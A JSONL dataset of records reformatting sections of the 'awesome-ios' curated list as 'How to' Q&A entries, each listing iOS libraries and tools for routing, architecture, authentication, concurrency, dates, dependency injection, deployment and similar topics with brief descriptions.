{"id": "gh_d236cf61653e", "question": "How to: App Routing", "question_body": "About vsouza/awesome-ios", "answer": "*Elegant URL routing, navigation frameworks, deep links and more*\n\n- [ApplicationCoordinator](https://github.com/AndreyPanov/ApplicationCoordinator) - Coordinator is an object that handles navigation flow and shares flow’s handling for the next coordinator after switching on the next chain.\n- [Appz](https://github.com/SwiftKitz/Appz) - Easily launch and deeplink into external applications, falling back to web if not installed.\n- [Composable Navigator](https://github.com/Bahn-X/swift-composable-navigator) - An open source library for building deep-linkable SwiftUI applications with composition, testing and ergonomics in mind\n- [Crossroad](https://github.com/giginet/Crossroad) - Crossroad is an URL router focused on handling Custom URL Schemes. Using this, you can route multiple URL schemes and fetch arguments and parameters easily.\n- [DeepLinkKit](https://github.com/button/DeepLinkKit) - A splendid route-matching, block-based way to handle your deep links.\n- [JLRoutes](https://github.com/joeldev/JLRoutes) - URL routing library for iOS with a simple block-based API.\n- [Linker](https://github.com/MaksimKurpa/Linker) - Lightweight way to handle internal and external deeplinks for iOS.\n- [LiteRoute](https://github.com/SpectralDragon/LiteRoute) - Easy transition between VIPER modules, implemented on pure Swift.\n- [Marshroute](https://github.com/avito-tech/Marshroute) - Marshroute is an iOS Library for making your Routers simple but extremely powerful.\n- [RouteComposer](https://github.com/ekazaev/route-composer) - Library that helps to handle view controllers composition, routing and deeplinking tasks.\n- [Router](https://github.com/freshOS/Router) - Simple Navigation for iOS.\n- [RxFlow](https://github.com/RxSwiftCommunity/RxFlow) - Navigation framework for iOS applications based on a Reactive Flow Coordinator pattern.\n- [SwiftCurrent](https://github.com/wwt/SwiftCurrent) - A library for managing complex workflows.\n- [SwiftRouter](https://github.com/skyline75489/SwiftRouter) - A URL Router for iOS.\n- [URLNavigator](https://github.com/devxoul/URLNavigator) - Elegant URL Routing for Swift\n- [WAAppRouting](https://github.com/Wasappli/WAAppRouting) - iOS routing done right. Handles both URL recognition and controller displaying with parsed parameters. All in one line, controller stack preserved automatically!\n- [ZIKRouter](https://github.com/Zuikyo/ZIKRouter) - An interface-oriented router for discovering modules and injecting dependencies with protocol in OC & Swift, iOS & macOS. Handles route in a type safe way.", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579635"}
{"id": "gh_4781f16a2fa3", "question": "How to: Architecture Patterns", "question_body": "About vsouza/awesome-ios", "answer": "*Clean architecture, Viper, MVVM, Reactive... choose your weapon.*\n\n- [Clean Architecture for SwiftUI + Combine](https://github.com/nalexn/clean-architecture-swiftui) - A demo project showcasing the production setup of the SwiftUI app with Clean Architecture.\n- [CleanArchitectureRxSwift](https://github.com/sergdort/CleanArchitectureRxSwift) - Example of Clean Architecture of iOS app using RxSwift.\n- [ios-architecture](https://github.com/tailec/ios-architecture) - A collection of iOS architectures - MVC, MVVM, MVVM+RxSwift, VIPER, RIBs and many others.\n- [iOS-Viper-Architecture](https://github.com/MindorksOpenSource/iOS-Viper-Architecture) - This repository contains a detailed sample app that implements VIPER architecture in iOS using libraries and frameworks like Alamofire, AlamofireImage, PKHUD, CoreData etc.\n- [Reactant](https://github.com/Brightify/Reactant) - Reactant is a reactive architecture for iOS.\n- [Spin](https://github.com/Spinners/Spin.Swift) - A universal implementation of a Feedback Loop system for RxSwift, ReactiveSwift and Combine\n- [SwiftyVIPER](https://github.com/codytwinton/SwiftyVIPER) - Makes implementing VIPER architecture much easier and cleaner.\n- [Tempura](https://github.com/BendingSpoons/tempura-swift) - A holistic approach to iOS development, inspired by Redux and MVVM.\n- [The Composable Architecture](https://github.com/pointfreeco/swift-composable-architecture) - The Composable Architecture is a library for building applications in a consistent and understandable way, with composition, testing, and ergonomics in mind.\n- [VIPER Module Generator](https://github.com/Kaakati/VIPER-Module-Generator) - A Clean VIPER Modules Generator with comments and predfined functions.\n- [Viperit](https://github.com/ferranabello/Viperit) - Viper Framework for iOS. Develop an app following VIPER architecture in an easy way. Written and tested in Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579647"}
{"id": "gh_703f0a9d4d1f", "question": "How to: Authentication", "question_body": "About vsouza/awesome-ios", "answer": "*Oauth and Oauth2 libraries, social logins and captcha tools.*\n\n- [Heimdallr.swift](https://github.com/trivago/Heimdallr.swift) - Easy to use OAuth 2 library for iOS, written in Swift.\n- [InstagramSimpleOAuth](https://github.com/rbaumbach/InstagramSimpleOAuth) - A quick and simple way to authenticate an Instagram user in your iPhone or iPad app.\n- [LinkedInSignIn](https://github.com/serhii-londar/LinkedInSignIn) - Simple view controller to login and retrieve access token from LinkedIn.\n- [OAuth2](https://github.com/p2/OAuth2) - OAuth2 framework for macOS and iOS, written in Swift.\n- [OAuthSwift](https://github.com/OAuthSwift/OAuthSwift) - Swift based OAuth library for iOS\n- [ReCaptcha](https://github.com/fjcaetano/ReCaptcha) - (In)visible ReCaptcha for iOS.\n- [SwiftyOAuth](https://github.com/delba/SwiftyOAuth) - A simple OAuth library for iOS with a built-in set of providers.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579654"}
{"id": "gh_746e09645603", "question": "How to: Blockchain", "question_body": "About vsouza/awesome-ios", "answer": "*Tool for smart contract interactions. Bitcoin protocol implementations and Frameworks for interacting with cryptocurrencies.*\n\n- [BitcoinKit](https://github.com/yenom/BitcoinKit) - Bitcoin protocol toolkit for Swift, BitcoinKit implements Bitcoin protocol in Swift. It is an implementation of the Bitcoin SPV protocol written in swift.\n- [CoinpaprikaAPI](https://github.com/coinpaprika/coinpaprika-api-swift-client) - Coinpaprika API client with free & frequently updated market data from the world of crypto: coin prices, volumes, market caps, ATHs, return rates and more.\n- [EthereumKit](https://github.com/yuzushioh/EthereumKit) - EthereumKit is a free, open-source Swift framework for easily interacting with the Ethereum.\n- [EtherWalletKit](https://github.com/SteadyAction/EtherWalletKit) - Ethereum Wallet Toolkit for iOS - You can implement Ethereum wallet without a server and blockchain knowledge.\n- [Web3.swift](https://github.com/Boilertalk/Web3.swift) - Web3 library for interacting with the Ethereum blockchain.\n- [web3swift](https://github.com/web3swift-team/web3swift) - Elegant Web3js functionality in Swift. Native ABI parsing and smart contract interactions.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579661"}
{"id": "gh_5b0aff6f4d46", "question": "How to: Code Injection", "question_body": "About vsouza/awesome-ios", "answer": "*Decrease development time with these tools*\n\n- [Inject](https://github.com/krzysztofzablocki/Inject) - Hot Reloading for Swift applications!\n- [injectionforxcode](https://github.com/johnno1962/injectionforxcode) - Code injection including Swift.\n- [Vaccine](https://github.com/zenangst/Vaccine) - Vaccine is a framework that aims to make your apps immune to recompile-decease.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579674"}
{"id": "gh_1ece8dad3d13", "question": "How to: Code Quality", "question_body": "About vsouza/awesome-ios", "answer": "*Quality always matters. Code checkers, memory vigilants, syntax sugars and more.*\n\n- [Aardvark](https://github.com/square/Aardvark) - Aardvark is a library that makes it dead simple to create actionable bug reports.\n- [Bootstrap](https://github.com/krzysztofzablocki/Bootstrap) - iOS project bootstrap aimed at high quality coding.\n- [Bugsee](https://www.bugsee.com) - In-app bug and crash reporting with video, logs, network traffic and traces.\n- [FBRetainCycleDetector](https://github.com/facebook/FBRetainCycleDetector) - iOS library to help detecting retain cycles in runtime.\n- [HeapInspector-for-iOS](https://github.com/tapwork/HeapInspector-for-iOS) - Find memory issues & leaks in your iOS app without instruments.\n- [KZAsserts](https://github.com/krzysztofzablocki/KZAsserts) - Asserts on roids, test all your assumptions with ease.\n- [MLeaksFinder](https://github.com/Tencent/MLeaksFinder) - Find memory leaks in your iOS app at develop time.\n- [PSTModernizer](https://github.com/PSPDFKit-labs/PSTModernizer) - Makes it easier to support older versions of iOS by fixing things and adding missing methods.\n- [spacecommander](https://github.com/square/spacecommander) - Commit fully-formatted Objective-C code as a team without even trying.\n- [SwiftCop](https://github.com/andresinaka/SwiftCop) -  SwiftCop is a validation library fully written in Swift and inspired by the clarity of Ruby On Rails Active Record validations.\n- [SwiftFormat](https://github.com/nicklockwood/SwiftFormat) - A code library and command-line formatting tool for reformatting Swift code.\n- [Tailor](https://github.com/sleekbyte/tailor) - Cross-platform static analyzer for Swift that helps you to write cleaner code and avoid bugs.\n- [WeakableSelf](https://github.com/vincent-pradeilles/weakable-self) - A Swift micro-framework to encapsulate `[weak self]` and `guard` statements within closures.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579682"}
{"id": "gh_33388efe2968", "question": "How to: Command Line", "question_body": "About vsouza/awesome-ios", "answer": "*Smart, beautiful and elegant tools to help you create command line applications.*\n\n- [Ashen](https://github.com/colinta/Ashen) - A framework for writing terminal applications in Swift.\n- [ColorizeSwift](https://github.com/mtynior/ColorizeSwift) - Terminal string styling for Swift.\n- [CommandCougar](https://github.com/surfandneptune/CommandCougar) - An elegant pure Swift library for building command line applications.\n- [Commander](https://github.com/kylef/Commander) - Compose beautiful command line interfaces in Swift.\n- [Crayon](https://github.com/luoxiu/Crayon) - Terminal string styling with expressive API and 256/TrueColor support.\n- [Guaka](https://github.com/nsomar/Guaka) - The smartest and most beautiful (POSIX compliant) command line framework for Swift.\n- [Linenoise](https://github.com/andybest/linenoise-swift) - A pure Swift replacement for readline\n- [ModuleInterface](https://github.com/minuscorp/ModuleInterface) - Command Line Tool that generates the Module's Interface from a Swift project.\n- [nef](https://github.com/bow-swift/nef) - Command line tool to ease the creation of documentation in the form of Swift Playgrounds.\n- [Progress](https://github.com/jkandzi/Progress.swift) - Add beautiful progress bars to your loops.\n- [SourceDocs](https://github.com/eneko/SourceDocs) - Command Line Tool that generates Markdown documentation from inline source code comments.\n- [Swift Argument Parser](https://github.com/apple/swift-argument-parser) - Straightforward, type-safe argument parsing for Swift\n- [SwiftCLI](https://github.com/jakeheis/SwiftCLI) - A powerful framework for developing CLIs in Swift\n- [Swiftline](https://github.com/nsomar/Swiftline) - Swiftline is a set of tools to help you create command line applications.\n- [SwiftShell](https://github.com/kareman/SwiftShell) - A Swift framework for shell scripting and running shell commands.\n- [SwiftyTextTable](https://github.com/scottrhoyt/SwiftyTextTable) - A lightweight library for generating text tables.", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579691"}
{"id": "gh_dc2a4b7028ca", "question": "How to: Concurrency", "question_body": "About vsouza/awesome-ios", "answer": "*Job schedulers, Coroutines, Asynchronous and Type safe threads libs and frameworks written in Swift*\n\n- [Aojet](https://github.com/aojet/Aojet) - An actor model library for swift.\n- [AsyncNinja](https://github.com/AsyncNinja/AsyncNinja) - A complete set of concurrency and reactive programming primitives.\n- [AsyncQueue](https://github.com/dfed/swift-async-queue) - A library of queues that enable sending ordered tasks from synchronous to asynchronous contexts.\n- [Brisk](https://github.com/jmfieldman/Brisk) - A Swift DSL that allows concise and effective concurrency manipulation.\n- [Concurrent](https://github.com/typelift/Concurrent) - Functional Concurrency Primitives.\n- [Flow](https://github.com/JohnSundell/Flow) - Operation Oriented Programming in Swift.\n- [Flow-iOS](https://github.com/roytornado/Flow-iOS) - Make your logic flow and data flow clean and human readable.\n- [GroupWork](https://github.com/quanvo87/GroupWork) - Easy concurrent, asynchronous tasks in Swift.\n- [Kommander](https://github.com/intelygenz/Kommander-iOS) - Kommander is a Swift library to manage the task execution in different threads. Through the definition a simple but powerful concept, Kommand.\n- [Overdrive](https://github.com/saidsikira/Overdrive) - Fast async task based Swift framework with focus on type safety, concurrency and multi threading.\n- [Queuer](https://github.com/FabrizioBrancati/Queuer) - A queue manager, built on top of OperationQueue and Dispatch (aka GCD).\n- [StickyLocking](https://github.com/stickytools/sticky-locking) - A general purpose embedded hierarchical lock manager used to build highly concurrent applications of all types.\n- [SwiftCoroutine](https://github.com/belozierov/SwiftCoroutine) - Swift coroutines library for iOS and macOS.\n- [SwiftQueue](https://github.com/lucas34/SwiftQueue) - Job Scheduler with Concurrent run, failure/retry, persistence, repeat, delay and more.\n- [Threadly](https://github.com/nvzqz/Threadly) - Type-safe thread-local storage in Swift.\n- [Venice](https://github.com/Zewo/Venice) - CSP (Coroutines, Channels, Select) for Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579699"}
{"id": "gh_f99a38cebf8c", "question": "How to: Getting Started", "question_body": "About vsouza/awesome-ios", "answer": "*Courses, tutorials, guides and bootcamps*\n\n- [100 Days of SwiftUI](https://www.hackingwithswift.com/100/swiftui) - Free collection of videos and tutorials updated for iOS 15 and Swift 5.5.\n- [Apple - Object-Oriented Programming with Objective-C](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/OOP_ObjC/Introduction/Introduction.html)\n- [ARHeadsetKit Tutorials](https://github.com/philipturner/ARHeadsetKit) - Interactive guides to a high-level framework for experimenting with AR.\n- [ARStarter](https://github.com/codePrincess/ARStarter) - Get started with ARKit - A little exercise for beginners.\n- [Classpert - A list of 500 iOS Development courses (free and paid), from top e-learning platforms](https://classpert.com/ios-development) - Complete catalog of courses from Udacity, Pluralsight, Coursera, Edx, Treehouse and Skillshare.\n- [iOS & Swift - The Complete iOS App Development Bootcamp](https://www.udemy.com/course/ios-13-app-development-bootcamp/)\n- [Ray Wenderlich](https://www.raywenderlich.com/2690-learn-to-code-ios-apps-1-welcome-to-programming) - Learn to code iOS Apps.\n- [Stanford - Developing apps for iOS](https://cs193p.stanford.edu/) - Stanford's CS193p - Developing Apps for iOS.\n- [Udacity - Intro to iOS App Development with Swift](https://www.udacity.com/course/intro-to-ios-app-development-with-swift--ud585) - Udacity free course. Make Your First iPhone App.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579708"}
{"id": "gh_3e424c34b085", "question": "How to: Data Structures / Algorithms", "question_body": "About vsouza/awesome-ios", "answer": "*Diffs, keypaths, sorted lists and other amazing data structures wrappers and libraries.*\n\n- [Algorithm](https://github.com/CosmicMind/Algorithm) - Algorithm is a collection of data structures that are empowered by a probability toolset.\n- [AnyObjectConvertible](https://github.com/tarunon/AnyObjectConvertible) - Convert your own struct/enum to AnyObject easily.\n- [Brick](https://github.com/hyperoslo/Brick) - A generic view model for both basic and complex scenarios.\n- [BTree](https://github.com/attaswift/BTree) - Fast ordered collections for Swift using in-memory B-trees.\n- [Buffer](https://github.com/alexdrone/Buffer) - Swift μ-framework for efficient array diffs, collection observation and cell configuration.\n- [Changeset](https://github.com/osteslag/Changeset) - Minimal edits from one collection to another.\n- [DeepDiff](https://github.com/onmyway133/DeepDiff) - Diff in Swift.\n- [Dekoter](https://github.com/artemstepanenko/Dekoter) - `NSCoding`'s counterpart for Swift structs.\n- [diff](https://github.com/soffes/diff) - Simple diff library in pure Swift.\n- [Differ](https://github.com/tonyarnold/Differ) - Swift library to generate differences and patches between collections.\n- [DifferenceKit](https://github.com/ra1028/DifferenceKit) - A fast and flexible O(n) difference algorithm framework for Swift collection.\n- [Differific](https://github.com/zenangst/Differific) - A fast and convenient diffing framework.\n- [Dispatch](https://github.com/alexdrone/Store) - Multi-store Flux implementation in Swift.\n- [Dollar](https://github.com/ankurp/Dollar) - A functional tool-belt for Swift Language similar to Lo-Dash or Underscore.js in Javascript https://www.dollarswift.org/.\n- [EKAlgorithms](https://github.com/EvgenyKarkan/EKAlgorithms) - Some well known CS algorithms & data structures in Objective-C.\n- [HeckelDiff](https://github.com/mcudich/HeckelDiff) - A fast Swift diffing library.\n- [Impeller](https://github.com/david-coyle-sjc/impeller) - A Distributed Value Store in Swift.\n- [KeyPathKit](https://github.com/vincent-pradeilles/KeyPathKit) - KeyPathKit provides a seamless syntax to manipulate data using typed keypaths.\n- [Monaka](https://github.com/naru-jpn/Monaka) - Convert custom struct and fundamental values to NSData.\n- [OneWaySynchronizer](https://github.com/ladeiko/OneWaySynchronizer) - The simplest abstraction to synchronize local data with remote source.\n- [Pencil](https://github.com/naru-jpn/pencil) - Write values to file and read it more easily.\n- [Probably](https://github.com/harlanhaskins/Probably) - A Swift probability and statistics library.\n- [RandMyMod](https://github.com/jamesdouble/RandMyMod) - RandMyMod base on your own struct or class create one or a set of randomized instance.\n- [Result](https://github.com/antitypical/Result) - Swift type modeling the success/failure of arbitrary operations.\n- [swift-algorithm-club](https://github.com/raywenderlich/swift-algorithm-club) - Algorithms and data structures in Swift, with explanations!\n- [SwiftGraph](https://github.com/davecom/SwiftGraph) - Graph data structure and utility functions in pure Swift.\n- [SwiftPriorityQueue](https://github.com/davecom/SwiftPriorityQueue) - A priority queue with a classic binary heap implementation in pure Swift.\n- [SwiftStructures](https://github.com/waynewbishop/SwiftStructures) - Examples of commonly used data structures and algorithms in Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579727"}
{"id": "gh_74a3990a6013", "question": "How to: Date & Time", "question_body": "About vsouza/awesome-ios", "answer": "*Time and NSCalendar libraries. Also contains Sunrise and Sunset time generators, time pickers and NSTimer interfaces.*\n\n- [10Clock](https://github.com/joedaniels29/10Clock) - This Control is a beautiful time-of-day picker heavily inspired by the iOS 10 \"Bedtime\" timer.\n- [AnyDate](https://github.com/Kawoou/AnyDate) - Swifty Date & Time API inspired from Java 8 DateTime API.\n- [DateHelper](https://github.com/melvitax/DateHelper) - Convenience extension for NSDate in Swift.\n- [DateTools](https://github.com/MatthewYork/DateTools) - Dates and times made easy in Objective-C.\n- [EmojiTimeFormatter](https://github.com/thomaspaulmann/EmojiTimeFormatter) - Format your dates/times as emojis.\n- [iso-8601-date-formatter](https://github.com/boredzo/iso-8601-date-formatter) - A Cocoa NSFormatter subclass to convert dates to and from ISO-8601-formatted strings. Supports calendar, week, and ordinal formats.\n- [Kronos](https://github.com/lyft/Kronos) - Elegant NTP date library in Swift.\n- [NSDate-TimeAgo](https://github.com/kevinlawler/NSDate-TimeAgo) - A \"time ago\", \"time since\", \"relative date\", or \"fuzzy date\" category for NSDate and iOS, Objective-C, Cocoa Touch, iPhone, iPad.\n- [SwiftDate](https://github.com/malcommac/SwiftDate) - The best way to manage Dates and Timezones in Swift.\n- [SwiftMoment](https://github.com/akosma/SwiftMoment) - A time and calendar manipulation library.\n- [SwiftyTimer](https://github.com/radex/SwiftyTimer) - Swifty API for NSTimer.\n- [Timepiece](https://github.com/naoty/Timepiece) - Intuitive NSDate extensions in Swift.\n- [TimeZonePicker](https://github.com/gligorkot/TimeZonePicker) - A TimeZonePicker UIViewController similar to the iOS Settings app.\n- [TrueTime](https://github.com/instacart/TrueTime.swift) - Get the true current time impervious to device clock time changes.\n- [Time](https://github.com/dreymonde/Time) - Type-safe time calculations in Swift, powered by generics.\n- [Chronology](https://github.com/davedelong/Chronology) - Building a better date/time library.\n- [Solar](https://github.com/ceeK/Solar) - A Swift micro library for generating Sunrise and Sunset times.\n- [TimePicker](https://github.com/Endore8/TimePicker) - Configurable time picker component based on a pan gesture and its velocity.\n- [LFTimePicker](https://github.com/awesome-labs/LFTimePicker) - Custom Time Picker ViewController with Selection of start and end times in Swift.\n- [NVDate](https://github.com/novalagung/nvdate) - Swift4 Date extension library.\n- [Schedule](https://github.com/luoxiu/Schedule) - ⏳ A missing lightweight task scheduler for Swift with an incredibly human-friendly syntax.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579739"}
{"id": "gh_0b028d9110a6", "question": "How to: Dependency Injection", "question_body": "About vsouza/awesome-ios", "answer": "- [Alchemic](https://github.com/drekka/Alchemic) - Advanced, yet simple to use DI framework for Objective-C.\n- [DITranquillity](https://github.com/ivlevAstef/DITranquillity) - Dependency injection framework for iOS applications written in clean Swift.\n- [Guise](https://github.com/prosumma/Guise) - An elegant, flexible, type-safe dependency resolution framework for Swift.\n- [Kraken](https://github.com/sabirvirtuoso/Kraken) - A Dependency Injection Container for Swift with easy-to-use syntax.\n- [Locatable](https://github.com/vincent-pradeilles/locatable) - A micro-framework that leverages Property Wrappers to implement the Service Locator pattern.\n- [Needle](https://github.com/uber/needle) — Compile-time safe Swift dependency injection framework with real code.\n- [Perform](https://github.com/thoughtbot/Perform) - Easy dependency injection for storyboard segues.\n- [Pilgrim](https://github.com/appsquickly/pilgrim) - Powerful dependency injection Swift (successor to Typhoon).\n- [Reliant](https://github.com/appfoundry/Reliant) - Nonintrusive Objective-C dependency injection.\n- [SafeDI](https://github.com/dfed/safedi) - Compile-time safe dependency injection in Swift 6.\n- [StoryboardBuilder](https://github.com/hiro-nagami/StoryboardBuilder) - Simple dependency injection for generating views from storyboard.\n- [Swinject](https://github.com/Swinject/Swinject) - Dependency injection framework for Swift.\n- [Typhoon](https://github.com/appsquickly/Typhoon) - Powerful dependency injection for Objective-C.\n- [ViperServices](https://github.com/ladeiko/ViperServices) - Dependency injection container for iOS applications written in Swift. Each service can have boot and shutdown code.\n- [Weaver](https://github.com/scribd/Weaver) - A declarative, easy-to-use and safe Dependency Injection framework for Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579753"}
{"id": "gh_2dfb1e94c166", "question": "How to: Dependency / Package Manager", "question_body": "About vsouza/awesome-ios", "answer": "- [Accio](https://github.com/JamitLabs/Accio) - A SwiftPM based dependency manager for iOS & Co. with improvements over Carthage.\n- [Athena](https://github.com/yunarta/works-athena-gradle-plugin) - Gradle Plugin to enhance Carthage by uploading the archived frameworks into Maven repository, currently support only Bintray, Artifactory and Mavel local.\n- [Carthage](https://github.com/Carthage/Carthage) - A simple, decentralized dependency manager for Cocoa.\n- [CocoaPods](https://cocoapods.org/) - CocoaPods is the dependency manager for Objective-C projects. It has thousands of libraries and can help you scale your projects elegantly.\n- [CocoaSeeds](https://github.com/devxoul/CocoaSeeds) - Git Submodule Alternative for Cocoa.\n- [punic](https://github.com/schwa/punic) - Clean room reimplementation of Carthage tool.\n- [Rome](https://github.com/tmspzz/Rome) - A cache tool for Carthage built frameworks.\n- [swift-package-manager](https://github.com/apple/swift-package-manager) - The Package Manager for the Swift Programming Language.\n- [SWM (Swift Modules)](https://github.com/jankuca/swm) - A package/dependency manager for Swift projects similar to npm (node.js package manager) or bower (browser package manager from Twitter). Does not require the use of Xcode.\n- [Xcode Maven](http://sap-production.github.io/xcode-maven-plugin/site/) - The Xcode Maven Plugin can be used in order to run Xcode builds embedded in a Maven lifecycle.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579760"}
{"id": "gh_0a025caa4de6", "question": "How to: Deployment / Distribution", "question_body": "About vsouza/awesome-ios", "answer": "- [AppCenter](https://appcenter.ms) - Continuously build, test, release, and monitor apps for every platform.\n- [Appcircle.io](https://appcircle.io) — An enterprise-grade mobile DevOps platform that automates the build, test, and publish store of mobile apps for faster, efficient release cycle\n- [Appfigurate](https://github.com/electricbolt/appfiguratesdk) - Secure runtime configuration for iOS and watchOS, apps and app extensions.\n- [AppLaunchpad](https://theapplaunchpad.com/) - Free App Store screenshot builder.\n- [Bitrise](https://www.bitrise.io) - Mobile Continuous Integration & Delivery with dozens of integrations to build, test, deploy and collaborate.\n- [boarding](https://github.com/fastlane/boarding) - Instantly create a simple signup page for TestFlight beta testers.\n- [buddybuild](https://www.buddybuild.com/) - A mobile iteration platform - build, deploy, and collaborate.\n- [Codemagic](https://codemagic.io) - Build, test and deliver iOS apps 20% faster with Codemagic CI/CD.\n- [Crashlytics](https://firebase.google.com/products/crashlytics/) - A crash reporting and beta testing service.\n- [deliver](https://github.com/fastlane/fastlane/tree/master/deliver) - Upload screenshots, metadata and your app to the App Store using a single command.\n- [fastlane](https://github.com/fastlane/fastlane) - Connect all iOS deployment tools into one streamlined workflow.\n- [HockeyKit](https://github.com/bitstadium/HockeyKit) - A software update kit.\n- [Instabug](https://instabug.com) - In-app feedback, Bug and Crash reporting, Fix Bugs Faster through user-steps, video recordings, screen annotation, network requests logging.\n- [ios-uploader](https://github.com/simonnilsson/ios-uploader) - Easy to use, cross-platform tool to upload iOS apps to App Store Connect.\n- [LaunchKit](https://github.com/LaunchKit/LaunchKit) - A set of web-based tools for mobile app developers, now open source!\n- [Rollout.io](https://rollout.io/) - SDK to patch, fix bugs, modify and manipulate native apps (Obj-c & Swift) in real-time.\n- [Runway](https://runway.team) - Easier mobile releases for teams. Integrates across tools (version control, project management, CI, app stores, crash reporting, etc.) to provide a single source of truth for mobile teams to come together around during release cycles. Equal parts automation and collaboration.\n- [ScreenshotFramer](https://github.com/IdeasOnCanvas/ScreenshotFramer) - With Screenshot Framer you can easily create nice-looking and localized App Store Images.\n- [Screenplay](https://screenplay.dev) - Instant rollbacks and canary deployments for iOS.\n- [Semaphore](https://semaphoreci.com/product/ios) - CI/CD service which makes it easy to build, test and deploy applications for any Apple device. iOS support is fully integrated in Semaphore 2.0, so you can use the same powerful CI/CD pipeline features for iOS as you do for Linux-based development.\n- [snapshot](https://github.com/fastlane/fastlane/tree/master/snapshot) - Automate taking localized screenshots of your iOS app on every device.\n- [TestFlight Beta Testing](https://developer.apple.com/testflight/) - The beta testing service hosted on iTunes Connect (requires iOS 8 or later).\n- [watchbuild](https://github.com/fastlane/watchbuild) - Get a notification once your iTunes Connect build is finished processing.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579772"}
{"id": "gh_1126839ff376", "question": "How to: Functional Programming", "question_body": "About vsouza/awesome-ios", "answer": "*Collection of Swift functional programming tools.*\n\n- [Forbind](https://github.com/ulrikdamm/Forbind) - Functional chaining and promises in Swift.\n- [Funky](https://github.com/brynbellomy/Funky) - Functional programming tools and experiments in Swift.\n- [LlamaKit](https://github.com/LlamaKit/LlamaKit) - Collection of must-have functional Swift tools.\n- [Oriole](https://github.com/tptee/Oriole) - A functional utility belt implemented as Swift protocol extensions.\n- [Prelude](https://github.com/robrix/Prelude) - Swift µframework of simple functional programming tools.\n- [Swiftx](https://github.com/typelift/Swiftx) - Functional data types and functions for any project.\n- [Swiftz](https://github.com/typelift/Swiftz) -  Functional programming in Swift.\n- [OptionalExtensions](https://github.com/RuiAAPeres/OptionalExtensions) - Swift µframework with extensions for the  Optional Type.\n- [Argo](https://github.com/thoughtbot/Argo) - Functional JSON parsing library for Swift.\n- [Runes](https://github.com/thoughtbot/Runes) - Infix operators for monadic functions in Swift.\n- [Bow](https://github.com/bow-swift/bow) - Typed Functional Programming companion library for Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.579786"}
